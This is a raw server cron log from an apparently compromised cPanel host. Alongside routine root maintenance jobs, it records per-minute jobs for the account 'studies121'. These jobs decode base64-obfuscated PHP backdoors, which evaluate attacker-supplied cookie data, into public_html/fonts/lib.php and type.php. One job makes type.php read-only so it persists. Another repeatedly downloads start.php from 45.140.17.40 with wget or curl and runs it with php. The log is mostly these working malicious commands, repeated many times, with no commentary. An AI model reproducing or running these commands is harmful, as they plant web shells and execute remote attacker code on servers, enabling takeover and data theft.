Sep  4 12:47:01 ip-184-168-122-23 CROND[26735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:47:01 ip-184-168-122-23 CROND[26734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:48:01 ip-184-168-122-23 CROND[26831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:48:01 ip-184-168-122-23 CROND[26834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:48:01 ip-184-168-122-23 CROND[26836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:48:01 ip-184-168-122-23 CROND[26835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:48:01 ip-184-168-122-23 CROND[26837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:49:01 ip-184-168-122-23 CROND[26933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:49:01 ip-184-168-122-23 CROND[26934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:49:01 ip-184-168-122-23 CROND[26936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:49:01 ip-184-168-122-23 CROND[26935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:50:01 ip-184-168-122-23 CROND[27035]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 12:50:01 ip-184-168-122-23 CROND[27039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:50:01 ip-184-168-122-23 CROND[27045]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:50:01 ip-184-168-122-23 CROND[27041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:50:01 ip-184-168-122-23 CROND[27042]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:50:01 ip-184-168-122-23 CROND[27043]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 12:50:01 ip-184-168-122-23 CROND[27038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:50:01 ip-184-168-122-23 CROND[27044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:50:01 ip-184-168-122-23 CROND[27046]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:51:01 ip-184-168-122-23 CROND[27179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:51:01 ip-184-168-122-23 CROND[27180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:51:01 ip-184-168-122-23 CROND[27182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:51:01 ip-184-168-122-23 CROND[27181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:52:01 ip-184-168-122-23 CROND[27302]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:52:01 ip-184-168-122-23 CROND[27301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:52:01 ip-184-168-122-23 CROND[27305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:52:01 ip-184-168-122-23 CROND[27306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:52:01 ip-184-168-122-23 CROND[27308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:53:01 ip-184-168-122-23 CROND[27490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:53:01 ip-184-168-122-23 CROND[27489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:53:01 ip-184-168-122-23 CROND[27491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:53:01 ip-184-168-122-23 CROND[27492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:54:01 ip-184-168-122-23 CROND[27583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:54:01 ip-184-168-122-23 CROND[27586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:54:01 ip-184-168-122-23 CROND[27585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:54:01 ip-184-168-122-23 CROND[27587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:54:01 ip-184-168-122-23 CROND[27588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:55:01 ip-184-168-122-23 CROND[27693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:55:01 ip-184-168-122-23 CROND[27696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:55:01 ip-184-168-122-23 CROND[27695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:55:01 ip-184-168-122-23 CROND[27698]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:55:01 ip-184-168-122-23 CROND[27697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:55:01 ip-184-168-122-23 CROND[27699]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:56:01 ip-184-168-122-23 CROND[27787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:56:01 ip-184-168-122-23 CROND[27791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:56:01 ip-184-168-122-23 CROND[27790]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:56:01 ip-184-168-122-23 CROND[27789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:56:01 ip-184-168-122-23 CROND[27788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:57:01 ip-184-168-122-23 CROND[27903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:57:01 ip-184-168-122-23 CROND[27902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:57:01 ip-184-168-122-23 CROND[27904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:57:01 ip-184-168-122-23 CROND[27905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:58:01 ip-184-168-122-23 CROND[28084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:58:01 ip-184-168-122-23 CROND[28087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:58:01 ip-184-168-122-23 CROND[28085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:58:01 ip-184-168-122-23 CROND[28088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:58:01 ip-184-168-122-23 CROND[28086]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:59:01 ip-184-168-122-23 CROND[28198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:59:01 ip-184-168-122-23 CROND[28197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:59:01 ip-184-168-122-23 CROND[28199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:59:01 ip-184-168-122-23 CROND[28200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
